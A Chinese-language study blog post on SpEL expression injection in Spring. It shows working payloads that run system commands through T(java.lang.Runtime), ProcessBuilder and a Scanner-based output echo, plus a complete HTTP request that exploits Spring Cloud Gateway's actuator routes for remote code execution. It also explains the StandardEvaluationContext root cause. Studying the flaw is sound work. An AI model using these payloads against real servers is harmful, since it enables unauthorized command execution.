当前位置:   article > 正文

SpEL表达式注入漏洞学习_templateparsercontext

templateparsercontext

SpEL表达式注入漏洞

前言

因为前端时间的spring gateway rce正是由此导致的所以来学习一下

介绍

Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于统一EL,但提供了额外的功能,是方法调用和基本的字符串模板了同时SpEL是API接口的形式因为创建的,所以允许将其集成到其他应用程序和框架中。

环境搭建

https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce
  • 1

下载之后用idea打开等待依赖关系解决完,然后配置springboot启动项

在这里插入图片描述

运行后访问

http://localhost:9091/
  • 1

在这里插入图片描述

SpEL表达式使用

SpEL定界符——#{}

SpEL使用#{}作为定界符,所有在大括号中的字符都将被认为是SpEL表达式,在其中可以使用SpEL运算符、变量、引用bean及其属性和方法等。如果是 #{ 开头同时 } 结尾,就会进入到 SPEL 解析

这里需要注意#{}${}的区别:

  • #{}就是SpEL的定界符,用于指明内容未SpEL表达式并执行;
  • ${}主要用于加载外部属性文件中的值,在Spring Boot 很早版本的一个SpEL表达式注入中就是依赖${}触发的
  • 两者可以混合使用,但是必须#{}在外面,${}在里面,如#{'${}'},注意单引号是字符串类型才添加的

简单demo

public class Test {
    public static void main(String[] args) {
        //创建ExpressionParser解析表达式
        ExpressionParser parser = new SpelExpressionParser();
        //SpEL表达式语法设置在parseExpression()入参内
        Expression exp = parser.parseExpression("'hello world'");
        //执行SpEL表达式,执行的默认Spring容器是Spring本身的容器:ApplicationContext
        Object value = exp.getValue();
        System.out.println(value);
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

具体步骤如下:

  1. 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现;
  2. 解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象;
  3. 构造上下文:准备比如变量定义等等表达式需要的上下文数据;
  4. 求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值;

主要接口

  • ExpressionParser 接口:表示解析器,默认实现是 org.springframework.expression.spel.standard 包中的 SpelExpressionParser 类,使用 parseExpression 方法将字符串表达式转换为 Expression 对象,对于 ParserContext 接口用于定义字符串表达式是不是模板,及模板开始与结束字符;
  • EvaluationContext 接口:表示上下文环境,默认实现是 org.springframework.expression.spel.support 包中的 StandardEvaluationContext 类,使用 setRootObject 方法来设置根对象,使用 setVariable 方法来注册自定义变量,使用 registerFunction 来注册自定义函数等等。
  • Expression 接口:表示表达式对象,默认实现是 org.springframework.expression.spel.standard 包中的 SpelExpression,提供 getValue 方法用于获取表达式值,提供 setValue 方法用于设置对象值。

利用方法1-类类型表达式T(Type)

在SpEL表达式中,使用T(Type)运算符会调用类的作用域和方法。换句话说,就是可以通过该类类型表达式来操作类。

使用T(Type)来表示java.lang.Class实例,Type必须是类全限定名,但”java.lang”包除外,因为SpEL已经内置了该包,即该包下的类可以不指定具体的包名;使用类类型表达式还可以进行访问类静态方法和类静态字段。

public class Test {
    public static void main(String[] args) {
        //创建ExpressionParser解析表达式
        ExpressionParser parser = new SpelExpressionParser();
        //SpEL表达式语法设置在parseExpression()入参内
        Expression exp = parser.parseExpression("T(java.lang.Math)");
        //执行SpEL表达式,执行的默认Spring容器是Spring本身的容器:ApplicationContext
        Object value = exp.getValue();
        System.out.println(value);
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

返回了Math类

在这里插入图片描述

那么尝试直接调用Runtime类中的exec方法

Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')");
  • 1

成功弹出了计算器

在这里插入图片描述

利用方法2-直接new对象使用

public class Test {
    public static void main(String[] args) {
        //创建ExpressionParser解析表达式
        ExpressionParser parser = new SpelExpressionParser();
        //SpEL表达式语法设置在parseExpression()入参内
        Expression exp = parser.parseExpression("new java.lang.ProcessBuilder('cmd','/c','calc').start()");
        //执行SpEL表达式,执行的默认Spring容器是Spring本身的容器:ApplicationContext
        Object value = exp.getValue();
        System.out.println(value);
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

也能够命令执行

在这里插入图片描述

为什么不适用Runtime类?

因为Runtime类没有构造方法,只能通过getRuntime的方法去获得

回显问题

模拟真实环境中SpEL注入,如何自己构造回显了

简单demo

@RestController
@EnableAutoConfiguration
public class Index {
    @ResponseBody
    @RequestMapping(value = "/spel", method = {RequestMethod.GET, RequestMethod.POST})
    public String spel(String input){
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(input);
        return expression.getValue().toString();
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

这时候使用SpEL模板表达式会报错

在这里插入图片描述

需要换一下SpEL的写法,否则会因为没有使用模板解析表达式,在传入#{后出现报错。

@RestController
@EnableAutoConfiguration
public class Index {
    @ResponseBody
    @RequestMapping(value = "/spel", method = {RequestMethod.GET, RequestMethod.POST})
    public String spel(String input){
        SpelExpressionParser parser = new SpelExpressionParser();
        TemplateParserContext templateParserContext = new TemplateParserContext();
        Expression expression = parser.parseExpression(input,templateParserContext);
        return expression.getValue().toString();
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

成功命令执行

在这里插入图片描述

现在我们尝试执行whoami

在这里插入图片描述

返回的也只是类对象

因为我们可以随意创建对象并调用方法,所以可以利用java原生类来进行构造

Scanner

input=#{new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "GBK").useDelimiter("lyy9").next()}
  • 1

原理在于Scanner#useDelimiter方法使用指定的字符串分割输出,这里给不可能出现的字符串即可,就会让所有的字符都在第一行,然后执行next方法即可获得所有输出。

在这里插入图片描述

成功回显

spring gateway rce 回显

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 333

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('/bin/sh','-c', 'id').start().getInputStream(), 'GBK').useDelimiter('lyy9').next()}"
    }
  }],
  "uri": "http://example.com"
}


  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

步骤就不介绍了,可以看之前的漏洞文章,最后也能成功回显

在这里插入图片描述

不过spring gateway的回显关键点并不在这,还是filter中的AddResponseHeaderGatewayFilterFactory可以向response 中写入执行结果,因此恰好满足回显要求

在这里插入图片描述

漏洞原理

其实就是SpEL本身带有强大功能,如果不做限制就会导致rce

SimpleEvaluationContext和StandardEvaluationContext是SpEL提供的两个EvaluationContext:

  • SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
  • StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)或者直接new来调用任意对象的任意方法,成功造成任意命令执行。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/309235
推荐阅读
相关标签
  

闽ICP备14008679号